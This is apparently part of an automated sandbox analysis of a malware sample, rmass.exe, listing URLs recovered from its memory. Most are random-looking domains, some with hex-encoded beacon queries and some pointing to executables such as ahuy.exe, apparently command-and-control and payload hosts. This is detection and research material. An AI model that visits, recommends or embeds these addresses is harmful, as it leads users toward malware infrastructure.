Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4530423187.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?0220D3FA3F20D3FA3F0ED3D63F20D33766826236FD21D33A9722D5CC1112FDC30D10E3D
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?022E0F17E52E0F17E5000F3BE52E0FDABC8CBEDB272F0FD74D2C0921CB1C212ED71E3F3
Source: rmass.exe, 00000002.00000002.4538072017.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4525133943.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4530423187.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?025023E0C65023E0C67E23CCC650232D9FF2922C045123206E5225D6E86
Source: rmass.exe, 00000002.00000003.4530423187.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?025023E0C65023E0C67E23CCC650232D9FF2922C045123206E5225D6E8620DD9F46013C
Source: rmass.exe, 00000002.00000002.4538072017.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4525133943.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4530423187.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?025023E0C65023E0C67E23CCC650232D9FF2Z1
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?02544CCD37544CCD377A4CE137544C006EF6FD01F5554C0D9F564AFB196662F405647CE
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?028C31584A8C31584AA231744A8C3195132E8094888D3198E28E376E64BE1F6178BC017
Source: rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?028FE0AA768
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?028FE0AA768FE0AA76A1E086768FE0672F2D5166B48EE06ADE8DE69C58BDCE9344BFD08
Source: rmass.exe, 00000002.00000003.4328050841.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?02AA9E4608AA9E46088
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?02AA9E4608AA9E4608849E6A08AA9E8B51082F8ACAAB9E86A0A898702698B07F3A9AAE6
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://isfusus-omoab.biz/d/N?02EC1F8C29EC1F8C29C21FA029EC1F41704EAE40EBED1F4C81EE19BA07DE31B51BDC2FA
Source: rmass.exe, 00000002.00000003.3891346643.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3902442550.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://izasnosdqa.tk/
Source: rmass.exe, 00000002.00000003.3891346643.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3902442550.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://izasnosdqa.tk/$
Source: rmass.exe, 00000002.00000003.2861519129.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jkpuc.museum/
Source: rmass.exe, 00000002.00000003.2861519129.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jkpuc.museum/&
Source: rmass.exe, 00000002.00000003.4222933084.000000000074A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jqueouldxzhhc.nu/
Source: rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jqueouldxzhhc.nu//d/N?04
Source: rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jqueouldxzhhc.nu/08476
Source: rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jqueouldxzhhc.nu/F
Source: rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jqueouldxzhhc.nu/L
Source: rmass.exe, 00000002.00000003.4222933084.000000000074A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jqueouldxzhhc.nu/sWOW64
Source: rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jqueouldxzhhc.nu/tp://i
Source: rmass.exe, 00000002.00000003.2734929147.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kaccimyquxifj.cd/
Source: rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kaccimyquxifj.cd/WinE
Source: rmass.exe, 00000002.00000003.2734929147.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kbwwktoqyiiwk.tk/ndoh
Source: rmass.exe, 00000002.00000003.3194978679.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3197072555.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3181433154.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kglgmgeh.mp/
Source: rmass.exe, 00000002.00000003.3194978679.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3181433154.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kglgmgeh.mp/B
Source: rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3033688365.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3068606663.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kgmaiwktywawg.tk/
Source: rmass.exe, 00000002.00000003.3033688365.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kgmaiwktywawg.tk/k
Source: rmass.exe, 00000002.00000003.3028936119.0000000000746000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3027803308.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3028936119.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kiizskkik.pw/
Source: rmass.exe, 00000002.00000003.3027803308.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3028936119.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kiizskkik.pw/-M
Source: rmass.exe, 00000002.00000003.3028936119.0000000000746000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kiizskkik.pw/i
Source: rmass.exe, 00000002.00000003.3028936119.0000000000746000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3033651002.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kiizskkik.pw/u8
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kjikqraqo.mp/
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kjikqraqo.mp/km
Source: rmass.exe, 00000002.00000003.3770028181.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kmsmk.pw/
Source: rmass.exe, 00000002.00000003.3770028181.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kmsmk.pw/osoft
Source: rmass.exe, 00000002.00000003.3315737066.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3321245610.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://koavbgwohct.nu/
Source: rmass.exe, 00000002.00000003.4525133943.0000000000781000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4525447362.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kpnkkzi.mp/
Source: rmass.exe, 00000002.00000003.4530423187.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4525447362.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4538072017.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kpnkkzi.mp/k
Source: rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3944225241.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kqguj.tk/
Source: rmass.exe, 00000002.00000003.4328050841.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ktyrs.tk/
Source: rmass.exe, 00000002.00000003.4328050841.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ktyrs.tk/&P
Source: rmass.exe, 00000002.00000003.4328050841.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ktyrs.tk/re
Source: rmass.exe, 00000002.00000003.2519090338.0000000000745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kwuaq.st/
Source: rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lkseeysm.mp/
Source: rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lkseeysm.mp/%q
Source: rmass.exe, 00000002.00000003.4202339480.0000000000742000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4222933084.000000000074A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4200128318.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lkseeysm.mp/ahuy.exe
Source: rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lkseeysm.mp/d
Source: rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lkseeysm.mp/p
Source: rmass.exe, 00000002.00000003.3806713404.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841425635.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3843952226.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803470948.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806807667.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832343429.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769929491.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710241633.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824118850.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704195789.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3826387409.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3664023702.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3835820528.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3677758662.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://luimvwcqc.nu/
Source: rmass.exe, 00000002.00000003.3806713404.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841425635.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3843952226.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803470948.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806807667.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832343429.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769929491.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710241633.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824118850.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704195789.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3826387409.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3664023702.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3835820528.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3677758662.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://luimvwcqc.nu/vsucboqjw.nu/
Source: rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3181433154.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lxjsdmwoe.tk/
Source: rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3181433154.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lxjsdmwoe.tk/wwhoyfa.mp/
Source: rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mhydmmzuo.cd/
Source: rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mhydmmzuo.cd/ot
Source: rmass.exe, 00000002.00000003.4509694840.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4461033022.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mlnvwxmb.pw/
Source: rmass.exe, 00000002.00000003.3210318884.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mqsjyksp.pw/
Source: rmass.exe, 00000002.00000003.3209181789.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mqsjyksp.pw/2Q
Source: rmass.exe, 00000002.00000003.3236027592.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3227447122.0000000000738000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3219168569.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3210318884.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mqsjyksp.u
Source: explorer.exe, 00000005.00000000.2089393533.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000005.00000002.4545904465.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: rmass.exe, 00000002.00000002.4538072017.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4530604180.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ogsdabuwibmkq.pw/
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ogsdabuwibmkq.pw/U
Source: rmass.exe, 00000002.00000002.4538072017.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4530604180.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ogsdabuwibmkq.pw/stem32
Source: rmass.exe, 00000002.00000003.3068606663.0000000000732000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3068606663.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://posly.st/
Source: rmass.exe, 00000002.00000003.3068606663.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://posly.st/t
Source: rmass.exe, 00000002.00000003.3770028181.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pyhctikhca.mp/
Source: rmass.exe, 00000002.00000003.3770028181.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pyhctikhca.mp/p
Source: rmass.exe, 00000002.00000002.4538072017.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4509694840.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4432222114.000000000073B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4456960098.000000000073B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4525133943.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4530423187.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeywh.pw/
Source: rmass.exe, 00000002.00000003.4432222114.000000000073B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4456960098.000000000073B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qeywh.pw/#
Source: rmass.exe, 00000002.00000003.2972260914.0000000000746000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2980216556.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qncsduvoobluey.st/
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qoemipjwv.mp/
Source: rmass.exe, 00000002.00000003.4414076299.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qoemipjwv.mp/huy.exe-ConT
Source: rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3209181789.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3197072555.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3172344272.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3205510264.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3165877189.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3181433154.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3219168569.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3210318884.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qwojeiwehwq.museum/
Source: rmass.exe, 00000002.00000003.3165877189.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qwojeiwehwq.museum/65
Source: rmass.exe, 00000002.00000003.3165877189.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qwojeiwehwq.museum/P
Source: rmass.exe, 00000002.00000003.3165877189.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qwojeiwehwq.museum/p
Source: rmass.exe, 00000002.00000003.2519090338.0000000000745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qzlmsjo.nu/
Source: rmass.exe, 00000002.00000003.2734929147.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://riobcwfowacouc.nu/E3
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rzucgtcpwoujoi.pw/
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rzucgtcpwoujoi.pw/$
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rzucgtcpwoujoi.pw/ho
Source: rmass.exe, 00000002.00000003.3806713404.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841425635.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3843952226.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803470948.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806807667.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832343429.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3854640452.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769929491.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710241633.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824118850.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3863286738.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3902442550.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://saswvsucboqjw.nu/
Source: rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://saswvsucboqjw.nu/1
Source: rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3664023702.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3677758662.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3658375367.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://saswvsucboqjw.nu/owwi
Source: rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://saswvsucboqjw.nu/t
Source: explorer.exe, 00000005.00000000.2088579868.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2088568269.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2087129477.00000000028A0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3958019833.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdzdwye.st/
Source: rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdzdwye.st/CU
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sgjlqugfwhiau.museum/
